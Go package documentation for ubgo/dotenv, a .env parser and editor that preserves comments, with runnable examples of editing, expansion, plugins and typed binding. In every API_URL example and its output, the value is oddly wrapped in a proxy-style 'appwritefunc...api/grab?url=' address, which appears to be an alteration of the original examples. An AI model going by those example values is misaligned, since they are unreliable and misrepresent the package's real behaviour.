Documentation
¶
Overview ¶
Package dotenv is a comment-preserving .env parser and editor.
Parse-to-map dotenv libraries throw away everything that is not a key or a value, so writing a file back destroys its comments, blank lines, ordering, and quoting style. This package edits LINE-WISE instead: every byte outside the entry you touch survives verbatim. Two invariants, both pinned by tests:
parse → render with no changes ⇒ byte-identical output Set(key, <current value>) ⇒ byte-identical output (a true no-op)
That matters for a file a human wrote and a tool edits. A `.env` is documentation as much as configuration, and a tool that silently strips the comment explaining why a value exists has damaged the file even though every key survived.
What it understands ¶
KEY=value a pair
KEY: value a pair — Compose and Node dotenv accept the colon
delimiter too, and the author's choice is preserved
export KEY=value the export prefix is preserved
KEY a name with no delimiter: a Compose "inherited"
declaration — recognised but never resolved (§ scope)
KEY="quoted value" double quotes; \" and \\ are interpreted
KEY='literal value' single quotes; fully literal
KEY="line one a quoted value whose quote does not close keeps
line two" going, and the whole block is one logical entry
KEY=value # note an inline comment, preserved on edit
# a comment kept verbatim
<blank> kept verbatim
Escape policy ¶
Inside double quotes only `\"` and `\\` are interpreted. There is NO `\n` expansion — a newline in a value is a real newline in the file. Single-quoted values are entirely literal. This mirrors Docker Compose's .env handling rather than shell semantics, because a .env is far more often read by compose than sourced by a shell.
Scope: a parser and editor, not a loader ¶
This package NEVER touches os.Environ. Reading a .env and exporting it into the process are separate decisions, and conflating them is why godotenv.Load means something this package must not mean. A caller that wants the values in its environment applies its own precedence policy over f.Map().
It also does not merge multiple files. Merging is a precedence policy — which file wins, per key — and the whole guarantee here is that one file maps to one set of bytes. Merged content has no single file to render back to, so it could not round-trip. Layer that above this package.
It does not coerce values to types. Every value is a string, because a .env has none — PORT=8443 is four characters, and which Go type that becomes depends on the field it is bound to. A *File satisfies the Lookuper interface used by struct-binding packages with a three-line adapter, so typed configuration composes rather than being reimplemented here. See the README.
It does not stream. Parse and ParseReader both hold the whole file, and three separate features depend on that: a forward reference resolves against a key defined further down, insertion needs an index into a complete entry list, and byte-exact rendering needs every original line. A streaming parser would have to abandon all three.
It would also be dangerous rather than merely limited. Streaming could resolve BACKWARD references from a running map — but with a duplicated key, "last wins" cannot be known until the file ends, so the same bytes would expand to one value here and another there. Two APIs disagreeing about one file is worse than one API doing less.
If the streaming case ever becomes real, the shape it would take is a Scan over physical lines with byte-exactness and forward references dropped — a different, lesser contract, which is why it is not this one.
Naming ¶
Named for the format, the way encoding/json and yaml are — not for the file it reads. The constructor is Open rather than Load because godotenv.Load sets os.Environ, and this package deliberately never touches the environment: it hands back a file you read, edit, and save. A Load here would mean the opposite of every other Load in the ecosystem.
Line endings and permissions ¶
CRLF files render back as CRLF. A file's existing mode is preserved; a new one is created 0600, because .env files hold credentials and a group-readable secret is a leak.
Example (Cloning) ¶
Example_cloning derives production from staging: Clone, change one value, and every reference stays a reference, so the derived values follow the edit. The source file is left untouched.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
staging := dotenv.Parse("DOMAIN=staging.acme.io\nAPI_URL=https://api.${DOMAIN}\nSECRET=${VAULT_TOKEN:?set me}\n")
prod := staging.Clone() // independent deep copy
prod.Set("DOMAIN", "acme.io")
fmt.Print(prod.Render())
url, _, err := prod.GetExpanded("API_URL")
if err != nil {
fmt.Println(err)
return
}
fmt.Println(url)
domain, _ := staging.Get("DOMAIN") // present in the source
fmt.Println(domain)
}
Output: DOMAIN=acme.io API_URL=https://api.${DOMAIN} SECRET=${VAULT_TOKEN:?set me} https://api.acme.io staging.acme.io
Example (DisabledSettings) ¶
Example_disabledSettings shows that a commented-out setting is its own kind with a readable key and value, that it stays inactive, and that Restore turns it back on without inventing any bytes.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
f := dotenv.Parse("# DB_USER=admin\n# just a note\nDB_HOST=db\n")
for _, e := range f.Entries() {
fmt.Printf("%-13s %q\n", e.Kind, e.Key)
}
fmt.Println(f.Has("DB_USER"), f.Disabled()[0].Key)
f.Restore("DB_USER")
fmt.Print(f.Render())
}
Output: disabled-pair "DB_USER" comment "" pair "DB_HOST" false DB_USER DB_USER=admin # just a note DB_HOST=db
Example (Editing) ¶
Example_editing covers the upsert family: Set updates in place or appends, SetAfter places a new key next to an anchor, a missing anchor is an error rather than a silent append, and Unset comments a key out reversibly.
package main
import (
"errors"
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
f := dotenv.Parse("DB_HOST=localhost\nDB_PORT=5432\nOLD_KEY=x\n")
created := f.Set("API_KEY", "secret") // appends: the key was new
fmt.Println("created:", created)
if _, err := f.SetAfter("DB_PORT", "DB_PASSWORD", "s3cret"); err != nil {
fmt.Println(err)
return
}
_, err := f.SetAfter("NO_SUCH_KEY", "X", "1")
fmt.Println("missing anchor:", errors.Is(err, dotenv.ErrAnchorNotFound))
f.Unset("OLD_KEY", false) // false: comment it out; true would delete the line
fmt.Print(f.Render())
}
Output: created: true missing anchor: true DB_HOST=localhost DB_PORT=5432 DB_PASSWORD=s3cret # OLD_KEY=x API_KEY=secret
Example (Expansion) ¶
Example_expansion contrasts Get with GetExpanded and shows the common operators: a default, a literal dollar, and a single-quoted value read directly, which stays literal.
package main
import (
"fmt"
"strings"
"github.com/ubgo/dotenv"
)
func main() {
f := dotenv.Parse(strings.Join([]string{
"SECRET=hunter2",
"ADMIN_PASS=${SECRET}",
"PORT=${HTTP_PORT:-8080}",
"PRICE=5$$",
"LITERAL='${SECRET}'",
}, "\n") + "\n")
raw, _ := f.Get("ADMIN_PASS") // present in the file
fmt.Println(raw)
for _, key := range []string{"ADMIN_PASS", "PORT", "PRICE", "LITERAL"} {
v, _, err := f.GetExpanded(key)
if err != nil {
fmt.Println(err)
return
}
fmt.Printf("%s=%s\n", key, v)
}
}
Output: ${SECRET} ADMIN_PASS=hunter2 PORT=8080 PRICE=5$ LITERAL=${SECRET}
Example (Generating) ¶
Example_generating builds a file from nothing with the literal family: constructors make entries, Append places them at the end, and InsertAfter places a block next to an anchor as one unit.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
// banner is the rule line around each section heading.
const banner = "------------------"
f := dotenv.Parse("")
f.Append(
dotenv.NewComment(banner, "DATABASE", banner),
dotenv.NewPair("DB_HOST", "localhost"),
dotenv.NewPair("DB_PORT", "5432"),
dotenv.NewBlank(),
dotenv.NewComment(banner, "AUTH", banner),
dotenv.NewPair("AUTH_SECRET", "change me"),
)
err := f.InsertAfter("DB_PORT", dotenv.NewPair("DB_PASSWORD", "s"))
if err != nil {
fmt.Println(err)
return
}
fmt.Print(f.Render())
}
Output: # ------------------ # DATABASE # ------------------ DB_HOST=localhost DB_PORT=5432 DB_PASSWORD=s # ------------------ # AUTH # ------------------ AUTH_SECRET="change me"
Example (InheritedDeclarations) ¶
Example_inheritedDeclarations reads a Compose-style name-only line. The package lists the name but never resolves it; the application layers its own source on top (a map stands in for os.LookupEnv here).
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
f := dotenv.Parse("DATABASE_URL=postgres://localhost/dev\nAWS_REGION\n")
host := map[string]string{"AWS_REGION": "eu-west-1"} // stands in for the process environment
env := f.Map()
fmt.Println(f.Inherited(), len(env))
for _, name := range f.Inherited() {
if v, ok := host[name]; ok { // the caller's decision, not the parser's
env[name] = v
}
}
fmt.Println(env["AWS_REGION"])
}
Output: [AWS_REGION] 1 eu-west-1
Example (LineEndings) ¶
Example_lineEndings shows that each existing line keeps its own terminator, and that a line the package writes uses CRLF as soon as the file contains a single CRLF anywhere, not the style most of its lines use.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
f := dotenv.Parse("A=1\nB=2\r\nC=3\n") // two LF lines, one CRLF line
f.Set("D", "4")
fmt.Printf("%q\n", f.Render())
}
Output: "A=1\nB=2\r\nC=3\nD=4\r\n"
Example (Plugins) ¶
Example_plugins installs two single-function hooks: a lookup that fills a reference the file does not define, and a value transform that decrypts. Get still returns what is on disk; only GetExpanded sees the plaintext, and the rendered bytes never change.
package main
import (
"fmt"
"strings"
"github.com/ubgo/dotenv"
)
func main() {
// cipherPrefix marks a value the transform must decrypt.
const cipherPrefix = "encrypted:"
vault := map[string]string{"c2VjcmV0": "hunter2"} // a fake secret store
fallback := map[string]string{"REGION": "eu-west-1"}
src := "DB_PASS=encrypted:c2VjcmV0\nZONE=${REGION}-a\n"
f := dotenv.Parse(src,
dotenv.WithLookup(func(name string) (string, bool) {
v, ok := fallback[name]
return v, ok
}),
dotenv.WithValueTransform(func(key, v string) (string, error) {
s, ok := strings.CutPrefix(v, cipherPrefix)
if !ok {
return v, nil
}
plain, found := vault[s]
if !found {
return "", fmt.Errorf("%s: no secret for %q", key, s)
}
return plain, nil
}),
)
raw, _ := f.Get("DB_PASS") // present in the file
pass, _, err := f.GetExpanded("DB_PASS")
if err != nil {
fmt.Println(err)
return
}
zone, _, err := f.GetExpanded("ZONE")
if err != nil {
fmt.Println(err)
return
}
fmt.Println(raw)
fmt.Println(pass)
fmt.Println(zone)
fmt.Println(f.Render() == src)
}
Output: encrypted:c2VjcmV0 hunter2 eu-west-1-a true
Example (Quickstart) ¶
Example_quickstart is the five-minute tour: open a .env, read one value raw and expanded, change another, and save. Every byte you did not touch, including the comment and the reference, is written back as it was.
package main
import (
"fmt"
"os"
"path/filepath"
"github.com/ubgo/dotenv"
)
func main() {
dir, err := os.MkdirTemp("", "dotenv-quickstart")
if err != nil {
fmt.Println(err)
return
}
defer func() {
// Cleanup is best-effort; a failure goes to stderr so the example's
// checked stdout output is unaffected.
if err := os.RemoveAll(dir); err != nil {
fmt.Fprintln(os.Stderr, "cleanup:", err)
}
}()
path := filepath.Join(dir, ".env")
src := "# where the API lives\nDOMAIN=staging.acme.io\nAPI_URL=https://api.${DOMAIN}\n"
if err := os.WriteFile(path, []byte(src), 0o600); err != nil {
fmt.Println(err)
return
}
f, err := dotenv.Open(path) // a missing file is not an error
if err != nil {
fmt.Println(err)
return
}
raw, _ := f.Get("API_URL") // the bool reports presence; API_URL is present
url, _, err := f.GetExpanded("API_URL")
if err != nil {
fmt.Println(err)
return
}
fmt.Println(raw)
fmt.Println(url)
f.Set("DOMAIN", "acme.io")
if err := f.Save(); err != nil { // atomic: temp file at 0600, then rename
fmt.Println(err)
return
}
saved, err := os.ReadFile(path)
if err != nil {
fmt.Println(err)
return
}
fmt.Print(string(saved))
}
Output: https://api.${DOMAIN} https://api.staging.acme.io # where the API lives DOMAIN=acme.io API_URL=https://api.${DOMAIN}
Example (Reading) ¶
Example_reading shows what each read accessor returns for a file with a duplicated key and a commented-out setting: duplicates resolve to the last occurrence, and disabled lines are invisible to every accessor.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
f := dotenv.Parse("A=1\nB=2\nA=3\n# C=off\n")
v, ok := f.Get("A")
fmt.Println(v, ok) // last occurrence wins
fmt.Println(f.Has("C")) // disabled lines are not active keys
fmt.Println(f.Count("A")) // how many active A lines exist
fmt.Println(f.Keys()) // active keys, file order, deduplicated
fmt.Println(len(f.Pairs())) // active pairs, duplicates included
fmt.Println(f.Map()["A"]) // effective view
fmt.Println(len(f.Disabled())) // the commented-out setting is still known
}
Output: 3 true false 2 [A B] 3 3 1
Example (TypedConfig) ¶
Example_typedConfig binds expanded strings to a typed struct with the standard library only, reporting every malformed value at once.
package main
import (
"errors"
"fmt"
"strconv"
"strings"
"time"
"github.com/ubgo/dotenv"
)
// plugConfig is the typed view an application wants of its .env.
type plugConfig struct {
Port int
Debug bool
Wait time.Duration
Hosts []string
Token string
}
// Defaults applied when a key is absent. A key that is present but malformed
// is an error, never a silent fall back to these.
const (
plugDefaultPort = 8080
plugDefaultWait = 30 * time.Second
plugHostsSep = ";"
)
// plugBind converts expanded string values into plugConfig. It collects every
// problem and returns them together, so one run shows everything to fix.
func plugBind(m map[string]string) (plugConfig, error) {
cfg := plugConfig{Port: plugDefaultPort, Wait: plugDefaultWait}
var errs []error
if v, ok := m["PORT"]; ok {
n, err := strconv.Atoi(v)
if err != nil {
errs = append(errs, fmt.Errorf("PORT: %q is not an integer", v))
}
cfg.Port = n
}
if v, ok := m["DEBUG"]; ok {
b, err := strconv.ParseBool(v)
if err != nil {
errs = append(errs, fmt.Errorf("DEBUG: %q is not a boolean", v))
}
cfg.Debug = b
}
if v, ok := m["WAIT"]; ok {
d, err := time.ParseDuration(v)
if err != nil {
errs = append(errs, fmt.Errorf("WAIT: %q is not a duration", v))
}
cfg.Wait = d
}
if v := m["HOSTS"]; v != "" {
cfg.Hosts = strings.Split(v, plugHostsSep)
}
cfg.Token = m["TOKEN"]
if cfg.Token == "" {
errs = append(errs, errors.New("TOKEN: required"))
}
return cfg, errors.Join(errs...)
}
func main() {
// dotenv supplies expanded strings; the application decides their types.
good := "DOMAIN=acme.io\n" +
"PORT=8443\n" +
"DEBUG=true\n" +
"HOSTS=api.${DOMAIN};www.${DOMAIN}\n" +
"TOKEN=t-123\n"
m, err := dotenv.Parse(good).ExpandedMap()
if err != nil {
fmt.Println("error:", err)
return
}
cfg, err := plugBind(m)
if err != nil {
fmt.Println("error:", err)
return
}
fmt.Printf("%+v\n", cfg)
// Every problem is reported at once, and none falls back to a default.
bad := "PORT=eighty\nWAIT=soon\n"
m, err = dotenv.Parse(bad).ExpandedMap()
if err != nil {
fmt.Println("error:", err)
return
}
_, err = plugBind(m)
fmt.Println(err)
}
Output: {Port:8443 Debug:true Wait:30s Hosts:[api.acme.io www.acme.io] Token:t-123} PORT: "eighty" is not an integer WAIT: "soon" is not a duration TOKEN: required
Index ¶
- Variables
- func Read(path string, opts ...Option) (map[string]string, error)
- type Capability
- type CommandRunner
- type Entry
- type EntryObserver
- type EscapeMode
- type ExpandObserver
- type File
- func (f *File) Append(entries ...*Entry)
- func (f *File) Clone() *File
- func (f *File) Count(key string) int
- func (f *File) Disabled() []Pair
- func (f *File) Entries() []*Entry
- func (f *File) Existed() bool
- func (f *File) ExpandedMap() (map[string]string, error)
- func (f *File) Get(key string) (string, bool)
- func (f *File) GetExpanded(key string) (string, bool, error)
- func (f *File) Has(key string) bool
- func (f *File) Inherited() []string
- func (f *File) InsertAfter(anchorKey string, entries ...*Entry) error
- func (f *File) InsertBefore(anchorKey string, entries ...*Entry) error
- func (f *File) Keys() []string
- func (f *File) Map() map[string]string
- func (f *File) Mode() fs.FileMode
- func (f *File) Pairs() []Pair
- func (f *File) Plugins() []PluginInfo
- func (f *File) Render() string
- func (f *File) Restore(key string) bool
- func (f *File) Save() error
- func (f *File) SaveAs(path string) error
- func (f *File) Set(key, value string) (created bool)
- func (f *File) SetAfter(anchor, key, value string) (created bool, err error)
- func (f *File) SetBefore(anchor, key, value string) (created bool, err error)
- func (f *File) Unset(key string, del bool) (found bool)
- type Kind
- type Lookuper
- type Option
- func WithCommandRunner(run func(string) (string, error)) Option
- func WithCommandSubstitution(enabled bool) Option
- func WithEscapes(m EscapeMode) Option
- func WithLookup(fn func(name string) (string, bool)) Option
- func WithPlugin(plugins ...Plugin) Option
- func WithSaveGuard(fn func(*File) error) Option
- func WithValueTransform(fn func(key, value string) (string, error)) Option
- type Pair
- type Plugin
- type PluginInfo
- type RequiredError
- type SaveGuard
- type ValueTransformer
Examples ¶
- Package (Cloning)
- Package (DisabledSettings)
- Package (Editing)
- Package (Expansion)
- Package (Generating)
- Package (InheritedDeclarations)
- Package (LineEndings)
- Package (Plugins)
- Package (Quickstart)
- Package (Reading)
- Package (TypedConfig)
- Capability
- CommandRunner
- Entry
- EntryObserver
- ExpandObserver
- File.Append
- File.Append (UnterminatedQuote)
- File.Append (Verbatim)
- File.Append (VsSet)
- File.Clone
- File.Clone (Baked)
- File.Count
- File.Disabled
- File.Entries
- File.Existed
- File.ExpandedMap
- File.Get
- File.GetExpanded
- File.GetExpanded (Dollar)
- File.GetExpanded (Literal)
- File.GetExpanded (Names)
- File.GetExpanded (Nesting)
- File.GetExpanded (Operators)
- File.GetExpanded (SelfReference)
- File.Has
- File.Inherited
- File.InsertAfter
- File.InsertBefore
- File.Keys
- File.Map
- File.Mode
- File.Pairs
- File.Plugins
- File.Plugins (Firewall)
- File.Plugins (Ordering)
- File.Restore
- File.Save
- File.Save (LineEndings)
- File.Save (Mode)
- File.Save (NoPath)
- File.Save (TrailingNewline)
- File.SaveAs
- File.Set
- File.Set (Dollar)
- File.Set (Duplicates)
- File.Set (Noop)
- File.Set (Quoting)
- File.SetAfter
- File.SetAfter (AnchorNotFound)
- File.SetBefore
- File.Unset
- Kind
- Kind (Pitfalls)
- Kind.String
- NewComment
- NewPair
- Open
- Open (Missing)
- Parse
- Parse (SyntaxComments)
- Parse (SyntaxDelimiter)
- Parse (SyntaxDuplicates)
- Parse (SyntaxEncrypted)
- Parse (SyntaxKeys)
- Parse (SyntaxKinds)
- Parse (SyntaxMultiline)
- Parse (SyntaxQuotes)
- Parse (SyntaxUnterminated)
- ParseReader
- PluginInfo
- Read
- RequiredError
- WithCommandRunner
- WithCommandRunner (AllowList)
- WithCommandSubstitution (Off)
- WithCommandSubstitution (Order)
- WithEscapes
- WithLookup
- WithPlugin
- WithPlugin (Guard)
- WithPlugin (LookupError)
- WithSaveGuard
- WithValueTransform
Constants ¶
This section is empty.
Variables ¶
var ErrAnchorNotFound = errors.New("dotenv: anchor key not found")
ErrAnchorNotFound is returned by SetAfter and SetBefore when the anchor key has no active entry.
A dedicated error rather than a silent append: the whole point of positional insertion is WHERE the key lands, so quietly putting it at the end would defeat the call while reporting success.
Functions ¶
func Read ¶
Read is the whole-file shortcut: open, parse, expand, and hand back the values.
m, err := dotenv.Read(".env")
Equivalent to Open followed by ExpandedMap, which is what most callers want when they only need the configuration and will never write the file back.
The values are EXPANDED, because that is what a consumer sees: a value stored as "https://api.${DOMAIN}" arrives resolved. Use Open and Map instead when the file will be edited and saved — persisting an expanded value bakes the reference and silently breaks the cascade.
A missing file is an error here, unlike Open. Open exists partly to bootstrap a file that does not yet exist; Read is for consuming one that should.
It does not touch os.Environ. Nothing in this package does.
Example ¶
ExampleRead loads a file straight into a map with every ${reference} resolved: the one-call path for a program that only consumes configuration and never writes the file back.
package main
import (
"fmt"
"os"
"path/filepath"
"sort"
"github.com/ubgo/dotenv"
)
func main() {
// envFile is the name the example writes inside its own temp directory.
const envFile = ".env"
dir, err := os.MkdirTemp("", "dotenv-read")
if err != nil {
fmt.Println(err)
return
}
defer func() {
// Cleanup is best-effort; a failure goes to stderr so the example's
// checked stdout output is unaffected.
if err := os.RemoveAll(dir); err != nil {
fmt.Fprintln(os.Stderr, "cleanup:", err)
}
}()
path := filepath.Join(dir, envFile)
content := "DOMAIN=example.com\nAPI_URL=https://api.${DOMAIN}\n# DEBUG=true\n"
if err := os.WriteFile(path, []byte(content), 0o600); err != nil {
fmt.Println(err)
return
}
m, err := dotenv.Read(path)
if err != nil {
fmt.Println(err)
return
}
// A map has no order; sort the keys so the output is stable.
keys := make([]string, 0, len(m))
for k := range m {
keys = append(keys, k)
}
sort.Strings(keys)
for _, k := range keys {
fmt.Printf("%s=%s\n", k, m[k])
}
// Unlike Open, Read treats a missing file as an error.
_, err = dotenv.Read(filepath.Join(dir, "missing.env"))
fmt.Println("missing file is an error:", err != nil)
}
Output: API_URL=https://api.example.com DOMAIN=example.com missing file is an error: true
Types ¶
type Capability ¶
type Capability string
Capability names one ability a plugin was detected as having.
Reported by Plugins so a missing capability is visible. Optional interfaces fail silently — a method with a slightly wrong signature compiles, installs, and never runs — so being able to see what was actually detected is the difference between a one-line fix and an hour of debugging.
Example ¶
ExampleCapability shows how a misspelled hook method is caught: the plugin is detected with no capabilities at all.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
// plugTypo meant to be a Lookuper, but the method is spelled LookUp, so it
// matches no capability interface. It compiles and installs, and does nothing.
type plugTypo struct{}
func (plugTypo) Name() string { return "typo" }
func (plugTypo) LookUp(name string) (string, bool, error) { return "x", true, nil }
// plugSink holds all six capabilities on one object.
type plugSink struct{}
func (plugSink) Name() string { return "sink" }
func (plugSink) Lookup(string) (string, bool, error) { return "", false, nil }
func (plugSink) TransformValue(_, v string) (string, error) { return v, nil }
func (plugSink) RunCommand(string) (string, error) { return "", nil }
func (plugSink) GuardSave(*dotenv.File) error { return nil }
func (plugSink) ObserveEntry(*dotenv.Entry) {}
func (plugSink) ObserveExpand(_, _, _ string) {}
func main() {
// Plugins reports what each plugin was DETECTED as, which is how a
// misspelled method shows up: as a plugin with no capabilities.
f := dotenv.Parse("V=${K}\n", dotenv.WithPlugin(plugTypo{}, plugSink{}))
for _, info := range f.Plugins() {
fmt.Println(info)
}
for _, info := range f.Plugins() {
has := false
for _, c := range info.Capabilities {
if c == dotenv.CapLookup {
has = true
}
}
fmt.Printf("%s has %s: %v\n", info.Name, dotenv.CapLookup, has)
}
}
Output: typo: (none) sink: Lookuper, ValueTransformer, CommandRunner, SaveGuard, EntryObserver, ExpandObserver typo has Lookuper: false sink has Lookuper: true
const ( CapLookup Capability = "Lookuper" CapValueTransformer Capability = "ValueTransformer" CapCommandRunner Capability = "CommandRunner" CapSaveGuard Capability = "SaveGuard" CapEntryObserver Capability = "EntryObserver" CapExpandObserver Capability = "ExpandObserver" )
type CommandRunner ¶
CommandRunner executes a $(command) substitution.
Unlike Lookuper this is a REPLACEMENT, not a chain: passing a command through two runners is meaningless, so the last one installed wins. Installing any runner enables command substitution, which is otherwise off.
Example ¶
ExampleCommandRunner records commands instead of running them, and shows that references inside a command are expanded before the runner sees it.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
// plugRecorder is a CommandRunner that records each command instead of running
// it: the shape of a test double, or of a runner that logs before delegating.
type plugRecorder struct {
seen []string
}
func (r *plugRecorder) Name() string { return "recorder" }
func (r *plugRecorder) RunCommand(cmd string) (string, error) {
r.seen = append(r.seen, cmd)
return "out(" + cmd + ")", nil
}
func main() {
// Installing any CommandRunner turns substitution on. References inside the
// command are expanded BEFORE the runner sees it.
rec := &plugRecorder{}
f := dotenv.Parse("NAME=world\nGREETING=\"$(echo hello ${NAME})\"\n", dotenv.WithPlugin(rec))
v, _, err := f.GetExpanded("GREETING")
if err != nil {
fmt.Println("error:", err)
return
}
fmt.Println(v)
fmt.Printf("runner saw: %q\n", rec.seen)
}
Output: out(echo hello world) runner saw: ["echo hello world"]
type Entry ¶
type Entry struct {
// Kind classifies the entry.
Kind Kind
// Raw holds the exact physical lines, without terminators. For an untouched
// entry these render back byte-identically — this field is what makes the
// preservation invariant possible.
Raw []string
// Key is meaningful for KindPair, KindDisabledPair, and KindInherited;
// empty for every other kind.
Key string
// Value is the DECODED value for KindPair: quotes stripped, escapes
// interpreted, multi-line joined with \n.
Value string
// contains filtered or unexported fields
}
Entry is one logical unit of the file: a pair (possibly spanning several physical lines), a comment, a blank, or an unrecognised line.
Example ¶
ExampleEntry shows the four exported fields. Raw keeps the exact physical lines (a multi-line value spans several), Value is the decoded value with quotes stripped and lines joined by \n.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
const content = "export CERT=\"line one\nline two\" # pem\n# DEBUG='true'\n"
f := dotenv.Parse(content)
for _, e := range f.Entries() {
fmt.Println("Kind: ", e.Kind)
fmt.Printf("Raw: %q\n", e.Raw)
fmt.Printf("Key: %q\n", e.Key)
fmt.Printf("Value: %q\n", e.Value)
}
}
Output: Kind: pair Raw: ["export CERT=\"line one" "line two\" # pem"] Key: "CERT" Value: "line one\nline two" Kind: disabled-pair Raw: ["# DEBUG='true'"] Key: "DEBUG" Value: "true"
func NewBlank ¶
func NewBlank() *Entry
NewBlank builds an unattached empty line, for separating sections.
func NewComment ¶
NewComment builds an unattached comment spanning one line per argument.
NewComment("----------", "DATABASE", "----------")
Each line is prefixed with "# " unless it already begins with "#", so a caller can pass either plain text or pre-decorated lines without ending up with "##".
Example ¶
NewComment builds one comment line per argument. Plain text gets "# "; a line that already starts with "#" is kept as given, so you never get "##".
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
f := dotenv.Parse("")
f.Append(
dotenv.NewComment("----------", "DATABASE", "----------"),
dotenv.NewComment("# already decorated", " # indented"),
dotenv.NewComment(), // no lines still gives a bare marker
)
fmt.Print(f.Render())
}
Output: # ---------- # DATABASE # ---------- # already decorated # indented #
func NewPair ¶
NewPair builds an unattached KEY=value entry.
New entries always use `=` — the canonical delimiter every dotenv dialect reads. The colon form is only ever PRESERVED from source, never authored: see Entry.prefix.
The value is rendered when the entry is attached by Append or Insert, not here: quoting is settled at construction, but the line ending is a property of the destination file, which this entry does not yet have.
Example ¶
NewPair builds a KEY=value entry that is not in any file yet. Quoting is chosen from the value; the line ending comes from the file it is placed in.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
lf := dotenv.Parse("A=1\n")
crlf := dotenv.Parse("A=1\r\n")
lf.Append(dotenv.NewPair("GREETING", "hello world"))
crlf.Append(dotenv.NewPair("GREETING", "hello world"))
fmt.Printf("%q\n", lf.Render())
fmt.Printf("%q\n", crlf.Render())
}
Output: "A=1\nGREETING=\"hello world\"\n" "A=1\r\nGREETING=\"hello world\"\r\n"
type EntryObserver ¶
type EntryObserver interface {
ObserveEntry(e *Entry)
}
EntryObserver sees each entry as it is parsed.
Infallible by design, which is what lets Parse keep its no-error signature. A plugin that needs to reject a file does it at SaveGuard time, or the caller inspects the parsed File.
Observers see EVERY entry, including KindDisabledPair and KindOther. A commented-out setting is a finding for an auditor, not noise, and filtering it out would hide the most interesting case.
The *Entry an observer receives is a copy made for that call. Changing it, or keeping it and changing it later, does not reach the parsed File, so an observer can never alter what Render or Save produce.
Example ¶
ExampleEntryObserver audits every entry the parser produces, including blanks, comments and commented-out settings.
package main
import (
"fmt"
"strings"
"github.com/ubgo/dotenv"
)
// plugAuditor is an EntryObserver that records every entry the parser
// produces, including commented-out settings.
type plugAuditor struct {
lines []string
disabled []string
}
func (a *plugAuditor) Name() string { return "auditor" }
// ObserveEntry runs once per entry, in file order, during parsing.
func (a *plugAuditor) ObserveEntry(e *dotenv.Entry) {
a.lines = append(a.lines, fmt.Sprintf("%-13s %s", e.Kind, e.Key))
if e.Kind == dotenv.KindDisabledPair {
a.disabled = append(a.disabled, e.Key)
}
}
func main() {
// The observer sees every kind of entry, not just active pairs.
src := "# Database\n" +
"\n" +
"DB_HOST=localhost\n" +
"# DB_USER=admin\n" +
"export HOME\n" +
"not a pair\n" +
"NOTE=\"line one\nline two\"\n"
audit := &plugAuditor{}
dotenv.Parse(src, dotenv.WithPlugin(audit))
for _, l := range audit.lines {
fmt.Println(strings.TrimSpace(l))
}
fmt.Println("disabled:", audit.disabled)
}
Output: comment blank pair DB_HOST disabled-pair DB_USER inherited HOME other pair NOTE disabled: [DB_USER]
type EscapeMode ¶
type EscapeMode int
EscapeMode selects how backslash sequences inside double-quoted values are decoded.
The two modes are genuinely incompatible, which is why this is a choice rather than a default someone has to work around: under Compose, `\n` in a value stays two characters; under Extended it becomes a newline. Whichever a parser picks, some .env in the wild is misread — so the caller picks, based on who wrote the file.
const ( // EscapeExtended interprets \n, \r, \t, \" and \\ — what most .env // tooling outside Docker does, and what most application developers // expect. This is the default. EscapeExtended EscapeMode = iota // EscapeCompose interprets only \" and \\. Every other backslash sequence // is kept literally, which is how Docker Compose reads a .env. Use it for // files compose consumes, and for values holding Windows paths or regexes // where a backslash means itself. EscapeCompose )
type ExpandObserver ¶
type ExpandObserver interface {
ObserveExpand(key, name, resolved string)
}
ExpandObserver sees every reference resolution.
key is the entry whose value is being expanded, name is the variable referenced, and resolved is what it became. Enough to answer "which variables does this file actually use", which is what dead-key detection needs.
Infallible, for the same reason as EntryObserver.
Example ¶
ExampleExpandObserver traces which variables other values reference, the basis of a dead-key check.
package main
import (
"fmt"
"sort"
"github.com/ubgo/dotenv"
)
// plugTracer is an ExpandObserver that records which variables the file's
// values actually reference.
type plugTracer struct {
used map[string]bool
}
func (t *plugTracer) Name() string { return "tracer" }
// ObserveExpand runs for every reference resolution: key is the entry being
// expanded, name the variable it referenced, resolved what that became.
func (t *plugTracer) ObserveExpand(key, name, resolved string) {
t.used[name] = true
}
func main() {
// Dead-key detection: expand everything, then list the variables nothing
// referenced. (Top-level keys like URL are consumed by the app, not by other
// values, so a real check compares against what the app reads too.)
src := "HOST=db\nPORT=5432\nLEGACY_HOST=old-db\nURL=postgres://${HOST}:${PORT}/app\n"
tracer := &plugTracer{used: map[string]bool{}}
f := dotenv.Parse(src, dotenv.WithPlugin(tracer))
if _, err := f.ExpandedMap(); err != nil {
fmt.Println("error:", err)
return
}
var referenced, unreferenced []string
for _, k := range f.Keys() {
if tracer.used[k] {
referenced = append(referenced, k)
} else {
unreferenced = append(unreferenced, k)
}
}
sort.Strings(referenced)
sort.Strings(unreferenced)
fmt.Println("referenced: ", referenced)
fmt.Println("unreferenced:", unreferenced)
}
Output: referenced: [HOST PORT] unreferenced: [LEGACY_HOST URL]
type File ¶
type File struct {
// Path is where the file was loaded from, and where Save writes.
Path string
// contains filtered or unexported fields
}
File is a parsed .env plus the formatting facts needed to render it back byte-identically.
func Open ¶
Open reads and parses path.
A missing file is NOT an error: it loads as an empty File so a caller can bootstrap a fresh .env, and Save will create it at 0600. Callers that need to distinguish the two cases ask Existed.
